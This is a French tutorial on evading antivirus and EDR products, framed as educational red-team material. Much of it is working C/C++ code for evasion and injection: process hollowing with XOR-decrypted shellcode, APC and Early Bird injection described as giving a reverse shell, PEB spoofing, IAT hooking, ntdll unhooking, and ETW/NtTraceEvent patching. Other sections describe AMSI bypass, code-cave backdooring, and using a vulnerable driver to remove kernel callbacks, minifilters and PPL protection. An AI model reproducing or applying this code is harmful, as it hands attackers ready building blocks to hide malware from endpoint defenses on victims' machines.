CONTOURNEMENT D'ANTIVIRUS ET D'EDR 🐱‍

Les techniques présentées ici sont à but instructif uniquement pour permettre une meilleure compréhension des mécanismes de protection, notamment dans le cadre d'exercice de pentest/redteaming.
Toute utilisation en dehors d'un cadre légal ne pourra tenir responsable l'auteur de cet article.



Contournement de Microsoft Defender for Endpoints

Contournement de Sentinel One




Code execution
→ .NET Reflection
→ Process Hollowing
→ PE backdooring (Code caves)
→ APC Queue code injection
→ Early Bird APC injection
→ SetWindowsHookEx

Defense evasion
→ AMSI Bypass
→ Thread stack spoofing
→ PEB Patching
→ IAT Hooking
→ Unhooking DLL
→ Parsing ntdll from file
→ Perun's Fart unhooking
→ Direct syscalls
→ Kernel Callbacks deletion
→ Minifilters
→ ETW Patching
→ NtTraceEvent hooking
→ PPL Killer


.NET Reflection

La réflexion .NET est un mécanisme qui permet d'analyser et de manipuler des types, des objets et des assemblies en temps d'exécution.
Elle fournit un ensemble de classes et de méthodes qui permettent aux applications .NET d'obtenir des informations sur les types de données, les méthodes, les propriétés et les événements définis dans les assemblies chargés en mémoire, ainsi que de créer des instances de types, de modifier des propriétés et d'appeler des méthodes de manière dynamique.

La réflexion en PowerShell est très similaire à la réflexion en C# car PowerShell utilise l'infrastructure de la réflexion .NET pour gérer les types et les objets.



Dans cet exemple, nous utilisons la méthode GetProperty() pour obtenir une référence à la propriété Length du type System.String. Ensuite, nous utilisons la méthode GetValue() pour obtenir la valeur de la propriété Length sur un type "chaîne de caractères".
La méthode GetValue() prend un paramètre qui spécifie l'objet instancié sur lequel obtenir la valeur de la propriété (La chaîne de caractères "Les tutos de Processus").

Grâce à cette technique, un attaquant pourrait par exemple créer une instance d'un fichier exécutable directement en mémoire et invoquer ses fonctions pour l'exécuter.



Process Hollowing

Cette technique consiste à créer un processus légitime dans un état suspendu.
Le système d'exploitation va automatiquement créer un espace mémoire dédié pour ce processus et un premier thread (fil d'exécution) en état suspendu.
Un nouveau bloc mémoire est ensuite alloué dans l'espace mémoire du processus pour y insérer du code malveillant (sous la forme d'un shellcode).
Ensuite, soit l'adresse mémoire de la prochaine instruction (registre EIP) est remplacée par l'adresse mémoire du début du shellcode malveillant dans le thread principal, soit un nouveau thread en état d'exécution est créé avec pour point d'entrée (Entry Point) l'adresse mémoire du début du shellcode malveillant.
Dans le cas de l'utilisation du thread principal, son état est restauré à l'état d'exécution pour permettre l'interprétation du shellcode malveillant.



Le code source C++ ci-dessous est un exemple de Process Hollowing :

1 - Un processus légitime "notepad.exe" est créé en état suspendu avec la fonction CreateProcessA
2 - Un handle (identifiant d'un objet servant à le gérer) sur le processus est récupéré
3 - Un nouveau bloc mémoire est alloué dans l'espace mémoire du processus avec la fonction VirtualAllocEx
4 - Les instructions du shellcode malveillant sont copiées dans le bloc mémoire alloué avec la fonction WriteProcessMemory
5 - Un nouveau thread est créé avec pour point d'entrée l'adresse du début du bloc mémoire contenant les instructions du shellcode malveillant, grâce à la fonction CreateRemoteThread
6 - Le thread principal est restauré en état d'exécution (Optionnel)


std::string secret="SuperPassword";

char shcode[] = "\x34\x35\x34\x26\x20\x2a [...]"

# dechiffrement du shellcode en memoire
int j = 0;
for(int i=0; i < sizeof shcode; i++){
if(j == secret.size() -1) j=0;
shcode[i] = shcode[i]^secret[j];
j++;
}

char cmd[] = "notepad.exe";
HANDLE thread = nullptr ;
PHANDLE ptr_thread = std::addressof(thread);
PROCESS_INFORMATION pi;
STARTUPINFOA si {} ;
si.cb = sizeof(STARTUPINFOA);

# creation d'un processus en etat suspendu
CreateProcessA( nullptr, cmd, nullptr, nullptr, false, CREATE_SUSPENDED, nullptr, nullptr, std::addressof(si), std::addressof(pi) );
*ptr_thread = pi.hThread;
thread = pi.hProcess;

# allocation d'un espace memoire
LPVOID lpBuffer = VirtualAllocEx(thread, NULL, sizeof shcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

# ecriture du shellcode dans l'espace memoire de notre processus
WriteProcessMemory(thread, lpBuffer, (LPCVOID)shcode, sizeof shcode, nullptr);

# creation d'un thread pour notre processus et reprise de l'execution
CreateRemoteThread(pi.hProcess, NULL, 0, (PTHREAD_START_ROUTINE) lpBuffer, NULL, 0, NULL);
ResumeThread(thread);




PE backdooring (Code caves)

La plupart des binaires disposent d'espaces mémoire inutilisés (remplis de NOPS par exemple) appelés caves de code.
Ces emplacements peuvent s'expliquer par une mauvaise gestion de la mémoire lors du développement ou par l'optimisation du code lors de la compilation pour faciliter les sauts et les accès mémoire.

Il est possible de détecter ces caves de code afin d'y insérer des instructions malveillantes sous la forme d'un shellcode, puis de modifier le point d'entrée du binaire afin d'exécuter le shellcode à son lancement.
Le code malveillant peut également être personnalisé afin de rediriger le flux d'exécution vers l'instruction d'origine (on parle de trampoline code) pour ne pas rompre le fonctionnement normal de l'application.



Dans la capture ci-dessus, l'application "calc.exe" de Windows est modifiée afin d'insérer dans une cave de code un shellcode de type reverse shell et son point d'entrée est ensuite patché pour exécuter les nouvelles instructions à son lancement, grâce à l'outil Frampton.



APC Queue code injection

Une APC (Asynchronous Procedure Call) est un mécanisme utilisé pour exécuter une routine de rappel dans le contexte d'un thread. Cette routine est placée dans une liste d'APC et sera exécutée lorsque le thread sera prêt.
Un shellcode peut donc être injecté dans un espace mémoire d'un processus en cours d'exécution, puis une routine de rappel peut être créée dans la liste d'appels de chaque thread du processus pour que le shellcode soit exécuté.


#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4...";

 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
 HANDLE victimProcess = NULL;
 PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
 THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
 std::vector<DWORD> threadIds;
 SIZE_T shellSize = sizeof(buf);
 HANDLE threadHandle = NULL;
 
 if (Process32First(snapshot, &processEntry)) {
  while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
   Process32Next(snapshot, &processEntry);
  }
 }
 
 victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
 LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
 WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
 
 if (Thread32First(snapshot, &threadEntry)) {
  do {
   if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
    threadIds.push_back(threadEntry.th32ThreadID);
   }
  } while (Thread32Next(snapshot, &threadEntry));
 }
 
 for (DWORD threadId : threadIds) {
  threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
  QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
  Sleep(1000 * 2);
 }
 
 return 0;
}

→ Crédits ired.team

L'exemple ci-dessus permet l'exécution un shellcode par le processus Explorer.exe via une file APC, pour obtenir un reverse shell.





Early Bird APC injection

L'EarlyBird APC injection est similaire à l'APC Queue code injection classique, mais l'exécution du shellcode est déclenchée via une routine APC par le thread principal d'un processus en état suspendu, ce qui implique bien souvent que l'EDR n'a pas encore hooké le processus.


#include <Windows.h>
#include <iostream>

int main()
{
 unsigned char buf[] = "\x48\x31\xc9\x48...";
 
 SIZE_T shellSize = sizeof(buf);
 STARTUPINFOA si = { 0 };
 PROCESS_INFORMATION pi = { 0 };
 
 CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 HANDLE victimProcess = pi.hProcess;
 HANDLE threadHandle = pi.hThread;
 
 LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
 WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
 QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
 printf("[+] Shellcode successfully injected in suspended process\n");
 
 printf("[+] Resuming thread in 3 seconds...\n");
 Sleep(1000*3);
 ResumeThread(threadHandle);
 
 return 0;
}

L'exemple ci-dessus permet d'exécuter un shellcode via une file APC dans le thread d'un processus notepad.exe démarré en état suspendu, pour obtenir un reverse shell.





SetWindowsHookEx

Bientôt :)



AMSI Bypass

L'AMSI (Antimalware Scan Interface) est un composant qui permet de détecter et de bloquer les scripts ou les modules malveillants qui tentent de s'exécuter ou qui sont chargés en mémoire.

Cependant, il est possible de contourner l'AMSI en utilisant plusieurs techniques :

- Obfuscation : les attaquants peuvent utiliser des techniques d'obfuscation pour masquer le code malveillant ou certaines de ses parties.
- Injection de code : les attaquants peuvent utiliser des bibliothèques tierces ou des appels système pour exécuter du code sans être détectés.
- Désactivation de l'AMSI : les attaquants peuvent tenter de désactiver l'AMSI en modifiant les paramètres des politiques de sécurité ou modifier les paramètres de registre.



Les commandes ci-dessus utilisent la réflexion (voir section suivante) pour accéder à la classe AmsiUtils de PowerShell et désactiver la variable amsiInitFailed, qui est utilisée pour contrôler si l'AMSI est activé ou non.
Ces commandes doivent être exécutées avec des privilèges élevés pour s'exécuter.



Thread stack spoofing

Bientôt :)



PEB Patching

Le Process Environment Block (PEB) est une structure de données interne à chaque processus sous Windows. Elle contient des informations sur l'état et les paramètres du processus, tels que les chemins d'accès aux fichiers, les variables d'environnement, les descripteurs de fichiers, etc...


WCHAR spoofedArgs[] = L"C:\\Windows\\System32\\notepad.exe\0";
success = WriteProcessMemory(pi.hProcess, parameters.CommandLine.Buffer, (void*)spoofedArgs, sizeof(spoofedArgs), &bytesWritten);
if (success == FALSE) {
 printf("Could not call WriteProcessMemory to update commandline args\n");
 return 1;
}

DWORD newUnicodeLen = 90;
success = WriteProcessMemory(pi.hProcess,
 (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
 (void*)&newUnicodeLen,
 4,
 &bytesWritten);
if (success == FALSE) {
 printf("Could not call WriteProcessMemory to update commandline arg length\n");
 return 1;
}


Dans l'exemple ci-dessus, on modifie la ligne de commande d'un processus en surchargeant une donnée dans la mémoire de son PEB.



Lorsque le processus est analysé dans le gestionnaire des tâches, sa ligne de commande ne correspond plus à ses données d'origine.
Le PEB peut être utilisé par des attaquants pour masquer l'exécution d'un processus ou pour tromper les outils de débogage en leur faisant croire que le processus ne doit pas être débogué.
Il peut également être utilisé pour contourner certaines mesures de sécurité, telles que l'Address Space Layout Randomization (ASLR), en modifiant les adresses de base des DLL chargées dans le processus.

L'accès au PEB d'un processus nécessite des privilèges élevés, tels que le privilège SeDebugPrivilege.



IAT Hooking

La table d'importation d'un binaire permet de connaitre l'adresse mémoire d'une fonction d'une librairie spécifiée.
Par exemple, lorsqu'on souhaite afficher un message, l'adresse de la fonction "MessageBoxA" de la librairie User32.dll est récupérée depuis la table d'importation puis elle est appelée avec les arguments nécessaires.

Cette table d'importation peut être modifiée afin de remplacer l'adresse d'une fonction légitime par l'adresse d'une fonction malveillante, qui sera appelée lors de l'appel à la fonction légitime.
La fonction malveillante peut exécuter ses instructions et ensuite rediriger le flux d'exécution vers l'adresse d'origine de la fonction légitime afin de ne pas perturber le fonctionnement normal de l'application, on parle dans ce cas de fonction "trampoline".


#include <iostream>
#include <Windows.h>
#include <winternl.h>

using PrototypeMessageBox = int (WINAPI*)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
PrototypeMessageBox originalMessageBox = MessageBoxA;

int hookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
 MessageBoxA(NULL, L"This is a hooked message !!!", L"Hooked Message !!", 0);
 return originalMessageBox(hWnd, lpText, lpCaption, uType);
}

int main()
{
 MessageBoxA(NULL, "Hello Before Hooking", "Hello Before Hooking", 0);
 
 LPVOID imageBase = GetModuleHandleA(NULL);
 PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;
 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);
 PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (DWORD_PTR)imageBase);
 LPCSTR LibraryName = NULL;
 HMODULE Library = NULL;
 PIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;
 while (importDescriptor->Name != NULL)
 {
  LibraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;
  Library = LoadLibraryA(LibraryName);
  if (Library)
  {
   originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);
   firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);
   while (originalFirstThunk->u1.AddressOfData != NULL)
   {
    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);
    if (std::string(functionName->Name).compare("MessageBoxA") == 0)
    {
     SIZE_T bytesWritten = 0;
     DWORD oldProtect = 0;
     VirtualProtect((LPVOID)&(firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);
     firstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;
     originalFirstThunk;
     ++firstThunk;
    }
    ++originalFirstThunk;
   }
  }
  ++importDescriptor;
 }

 MessageBoxA(NULL, "Hello after Hooking", "Hello after Hooking", 0);
 return 0;
}


Dans l'exemple ci-dessus, l'adresse de la fonction "MessageBoxA" est modifiée pour exécuter nos propres instructions avant de rediriger le flux d'exécution vers l'adresse d'origine.



Unhooking DLL

Un hook est un point d'attache utilisé pour intercepter et surveiller les appels de fonctions dans un système d'exploitation.
La plupart des protections de type EDR mettent en place un mécanisme de hooking des fonctions des DLL (Dynamic Link Libraries) pour détecter les comportements malveillants suivant les fonctions appelées par les exécutables.

Le unhooking de DLL permet de détecter et de supprimer ces hooks en utilisant des techniques de réflexion.
La technique de unhooking la plus courante consiste à charger la DLL malveillante dans un processus isolé et à analyser ses exports pour détecter les hooks. Une fois que les hooks sont identifiés, on peut écraser les adresses des hooks par les adresses des fonctions d'exportation d'origine et ainsi restaurer les adresses d'origine des fonctions.

#include <Windows.h>
#include <string>
#include <iostream>

// Pointeur vers la fonction d'exportation originale
FARPROC originalFunction = nullptr;

// Pointeur vers la fonction hookée
FARPROC hookedFunction = nullptr;

// Fonction de récupération de l'adresse de la fonction hookée
FARPROC GetHookedFunctionAddress(std::string functionName) {
 HMODULE module = GetModuleHandleA("malicious.dll");
 return GetProcAddress(module, functionName.c_str());
}

// Fonction de unhooking
void UnhookDLLFunction(std::string functionName) {
 // Obtention de l'adresse de la fonction d'exportation originale
 HMODULE module = LoadLibraryA("malicious.dll");
 originalFunction = GetProcAddress(module, functionName.c_str());
 
 // Obtention de l'adresse de la fonction hookée
 hookedFunction = GetHookedFunctionAddress(functionName);
 
 // Écrasement de l'adresse de la fonction hookée par l'adresse de la fonction d'exportation originale
 DWORD oldProtect;
 VirtualProtect(hookedFunction, sizeof(FARPROC), PAGE_EXECUTE_READWRITE, &oldProtect);
 memcpy(hookedFunction, &originalFunction, sizeof(FARPROC));
 VirtualProtect(hookedFunction, sizeof(FARPROC), oldProtect, &oldProtect);
}

int main() {
 // Unhook de la fonction malveillante "MaliciousFunction"
 UnhookDLLFunction("MaliciousFunction");

 // Appel de la fonction d'exportation originale
 typedef void (*FunctionType)();
 FunctionType originalFunc = reinterpret_cast<FunctionType>(originalFunction);
 originalFunc();

 return 0;
}


Dans l'exemple ci-dessus, la fonction LoadLibrary() permet de charger en mémoire la DLL dont les fonctions sont hookées et GetProcAddress() permet d'obtenir l'adresse de la fonction d'exportation originale.
La fonction GetHookedFunctionAddress() est ensuite utilisée pour obtenir l'adresse de la fonction hookée.

Grâce à la fonction VirtualProtect(), la mémoire de la fonction hookée est rendue accessible en écriture afin d'écraser l'adresse de la fonction hookée par l'adresse de la fonction d'exportation originale en utilisant la fonction memcpy().
Les protections de mémoire sont ensuite restaurées à l'aide de la fonction VirtualProtect().



Parsing ntdll from file

Comme expliqué ci-dessus, il est possible de mapper en mémoire une copie d'un fichier, comme une librairie DLL par exemple, afin de lire son contenu.

La technique de unhooking DLL la plus répandue consiste à mapper en mémoire la librairie dont les fonctions sont actuellement hookées par l'EDR afin de lire son contenu pour écraser le contenu des fonctions de la librairie chargée en mémoire par notre processus courant.


// Emplacement de la librairie originale
char path[] = {'C', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0'};

// Section .text de la librairie
char sntdll[] = {'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0'};

HANDLE proc = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(proc, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;

// Mapping en mémoire du contenu de la librairie
HANDLE ntdllFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

// Lecture des sections de la copie en mémoire
for (DWORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
 PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

 // Utilisation de la section .text de la librairie
 if (!strcmp((char*)hookedSectionHeader->Name, (char*)sntdll)) {
  DWORD oldProtection = 0;
  bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

  // Réécriture de la section originale
  memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
  isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
 }
}

Dans l'exemple ci-dessus, on ouvre le fichier ntdll.dll afin de crée une vue en mémoire de ce fichier, puis on modifie la mémoire du module ntdll.dll chargé en mémoire par notre processus (hookée par l'EDR) en écrasant une section spécifique avec les données de la vue en mémoire (instructions d'origine).



Perun's Fart unhooking

La méthode Perun's Fart consiste a démarrer un processus en état suspendu et à effectuer une copie des librairies chargées par ce processus (comme la librairie NTDLL).
En état suspendu, les mécanismes de sécurité de type EDR n'ont pas encore mis en place de hooking des adresses des fonctions des librairies.
La copie de ces librairies permet donc de contourner la protection appliquée en appellant directement les fonctions par leurs adresses d'origine.

void perunsfart(HANDLE hSuspendedProcessPID) {
 LPVOID pRemoteCode = NULL; // pointeur vers le mapping de la NTDLL
 NTSTATUS success;
 HMODULE dllModule;
 HANDLE hCurProc = (HANDLE)0xffffffffffffffff; // handle sur le processus en cours
 DWORD oldPro = 0;
 DWORD dllSize1 = getSizeOfImage(dllModule);
 SIZE_T dllSize = getSizeOfImage(dllModule);
 success = pAllocMem(hCurProc, &pRemoteCode, 0, &dllSize, MEM_COMMIT, PAGE_READWRITE);
 if (success == 0x0)
  printf("[+] RW buffer created for dll: %p\n", pRemoteCode);

 // Lecture de la librairie NTDLL du processus suspendu et création d'une copie locale
 PULONG bytesRead = NULL;
 success = pReadMem(hSuspendedProcessPID, (PVOID)dllModule, pRemoteCode, dllSize1, bytesRead);
 if (success == 0x0)
  printf("[+] Ntdll copied from suspended to local process\n");

 // On remplace notre librairie chargée en mémoire par la version non hookée du processus suspendu
 if (unhook(dllModule, pRemoteCode, oldPro))
  printf("[+] Unhook sucessfull :)\n");
}

Dans l'exemple ci-dessus, on utilise un processus démarré en état suspendu pour faire une copie de sa librairie NTDLL afin de réécrire la section .text de notre librairie chargée en mémoire, pour restaurer les adresses d'origine des fonctions de la librairie, et ainsi contourner la protection mise en place.



Direct Syscall

Afin d'éviter les contournements de type unhooking, certains EDR mettent en place de la détection de mapping de fichier pour empêcher la réécriture d'instructions hookées, notamment en hookant la fonction MapViewOfFile().
Lors de l'exécution d'une fonction, un identifiant de procédure, appelé "syscall", est inscrit dans le registre EAX afin de déclencher une routine en mode kernel correspondant à l'action désirée :



Certains membres de la communauté ont recensé les identifiants de procédure correspondant à certaines routines spécifiques et ont mis au point une technique consistant à inscrire directement l'identifiant dans le registre EAX, sans passer par un appel de fonction d'une librairie DLL.

Cette technique s'est améliorée au fil du temps, changeant régulièrement de nom : Hell's Gate, Halo's Gate, puis Tartarus Gate.

Auparavant basé sur une table de correspondance statique, la technique consiste désormais à identifier l'adresse de la structure INMEMORYORDERMODULELIST dans le PEB (Process Environment Bloc) du processus en cours, qui contient les adresses des librairies chargées en mémoire, pour obtenir l'adresse de la librairie NTDLL et récupérer dynamiquement les identifiants de syscall de chaque fonction.



Kernel Callbacks deletion

Sysmon est un outil de surveillance de l'activité système de Windows, développé par Microsoft.

En se basant sur le fonctionnement de Sysmon, certains EDR peuvent surveiller les créations de processus, les chargement d'images ou encore la création de threads directement en mode noyau, via des routines de notification telles que PspCreateProcessNotifyRoutine, CmRegisterCallback, PspCreateThreadNotifyRoutine ou encore PspLoadImageNotifyRoutine.

Il est possible, en connaissant les adresses mémoire (offsets) de ces routines, de supprimer les callbacks mis en place.
Ces adresses peuvent être récupérées soit en faisant une recherche de patterns (une suite d'instructions "caractéristiques" de la routine qu'on recherche), soit en utilisant des adresses mémoire connues pour une version spécifique de système, obtenues en analysant la mémoire via un débugger.



Dans l'exemple ci-dessus, un pilote vulnérable signé numériquement (RTCore64.sys) est utilisé pour supprimer les routines de notification qui permettent à l'antivirus de surveiller les activités des processus.



Minifilters

Lorsqu'un processus souhaite interagir avec un fichier, une requête est transmise au gestionnaire d'I/O, qui va se charger de contacter le pilote du système de fichier pour effectuer l'action désirée.
Un composant, le Manager de Filtres, intercepte les échanges entre le gestionnaire d'I/O et le pilote du système de fichier. Il est possible, en mode kernel, d'inscrire auprès du gestionnaire de filtres un monitoring de ces échanges, appelé Minifiltre, afin de surveiller l'activité des processus au niveau des fichiers (détection de ransomware par exemple).



Dans l'exemple ci-dessus, un pilote vulnérable permet de requêter le gestionnaire de filtres pour supprimer les Minifiltres mis en place par des solutions de sécurité.



ETW Patching

L'ETW (Event Tracing for Windows) est une fonctionnalité de Windows qui permet de surveiller les événements système enregistrés par les applications et les composants système, via un abonnement à un flux d'évènements.
Beaucoup de solutions de sécurité l'utilisent pour identifier les comportements malveillants et les activités suspectes sur un système.

VOID HookEtwWrite() {
 LPVOID g_EtwWriteAddress = nullptr;
 HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
 if (hNtdll != nullptr) {
  // Récupération de l'adresse de la fonction d'écriture de l'ETW
  g_EtwWriteAddress = GetProcAddress(hNtdll, "EtwWrite");
 }

 if (g_EtwWriteAddress != nullptr) {
  // Désactivation de la protection de la mémoire
  DWORD oldProtect = 0;
  VirtualProtect(g_EtwWriteAddress, sizeof(g_EtwWriteAddress), PAGE_EXECUTE_READWRITE, &oldProtect);

  // Patch de la fonction EtwWrite
  UCHAR patch[] = { 0xC3 }; // RETN
  memcpy(g_EtwWriteAddress, patch, sizeof(patch));

  // Restauration de la protection de la mémoire
  VirtualProtect(g_EtwWriteAddress, sizeof(g_EtwWriteAddress), oldProtect, &oldProtect);
 }
}

Dans l'exemple ci-dessus, la fonction HookEtwWrite() vérifie que l'adresse de la fonction EtwWrite() existe et patche (remplace) la fonction en écrivant une instruction RETN pour désactiver la fonction.
De cette façon, lors d'un appel légitime de la fonction EtwWrite(), l'instruction en assembleur "RETN", qui est utilisée pour indiquer la fin d'une fonction ou d'un sous-programme, est exécutée et l'évènement n'est donc pas inscrit dans le flux.



NtTraceEvent hooking

Plutôt que de patcher la fonction EtwWrite() qui trace et publie les évènements dans une session, il est également possible de patcher la fonction NtTraceEvent() ou ZwCreateEvent() qui permet d'écrire et de créer les évènements du fournisseur en passant par l'API ntdll.dll.


void etwPatch() {
 /*
 * Crédits :
 * https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/
 * https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch/blob/main/patch-etw-x64.c
 */
 DWORD oldPro = 0;
 HANDLE hCurProc = (HANDLE)0xffffffffffffffff;
 NTSTATUS success;
 unsigned char patch[] = { '\xc3' };
 SIZE_T sizeOfPatch = sizeof(patch);
 LPVOID ptrNtTraceEvent = hLpGetProcAddress(dllModule, nTraceEvent);
 char* value = (char*)ptrNtTraceEvent;

 success = pVirtualProtect(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, PAGE_EXECUTE_WRITECOPY, &oldPro);
 if (NT_SUCCESS(success)) {
  printf("[+] Protection of NtTraceEvent changed to wcx\n");
 }

 success = pWriteMem(hCurProc, value+3, (PVOID)patch, 1, (SIZE_T*)NULL);
 if (NT_SUCCESS(success)) {
  printf("[+] RET instruction copied successfully\n");
 }

 success = pVirtualProtect(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, oldPro, &oldPro);
 if (NT_SUCCESS(success)) {
  printf("[+] Patching successfull\n");
 }
}

Dans l'exemple ci-dessus, la fonction NtTraceEvent() est patchée avec une instruction RETN pour ne plus inscrire d'évènements dans le flux.



PPL Killer

Afin de sécuriser un processus, il est possible de lui appliquer une protection, appelée Protected Process Light, au niveau de la mémoire du système en mode Kernel.
Une liste appelée "ActiveProcessLinks" contient des structures, appelées "EPROCESS", qui comportent des informations sur les processus telles que leur Process ID (PID) et le statut de leur protection (PS_PROTECTION).



Si la protection d'un processus est activée, les autres processus ne pourront pas, entre autres :
- Stopper le processus
- Accéder à sa mémoire virtuelle
- Attacher un debugger
- Impersonifier ses threads

Beaucoup d'EDR utilise ce mécanisme pour protéger leurs processus, on parle alors de "Run as PPL".

Il est néanmoins possible de charger en mémoire le noyau Windows (ntoskrnl.exe) avec la fonction LoadLibrary() et de récupérer l'adresse mémoire du pointeur vers les structures EPROCESS, PsInitialSystemProcess, grâce à la fonction GetProcAddress().



Dans l'exemple ci-dessus, l'adresse mémoire des structures EPROCESS est récupérée, puis la mémoire de chaque structure est lue pour trouver l'identifiant du processus souhaité, afin de réécrire le statut de sa protection.
Une fois la protection du processus désactivé, il peut être stoppé.







Kudos :

Merci à Ph3n1x pour ses précieuses propositions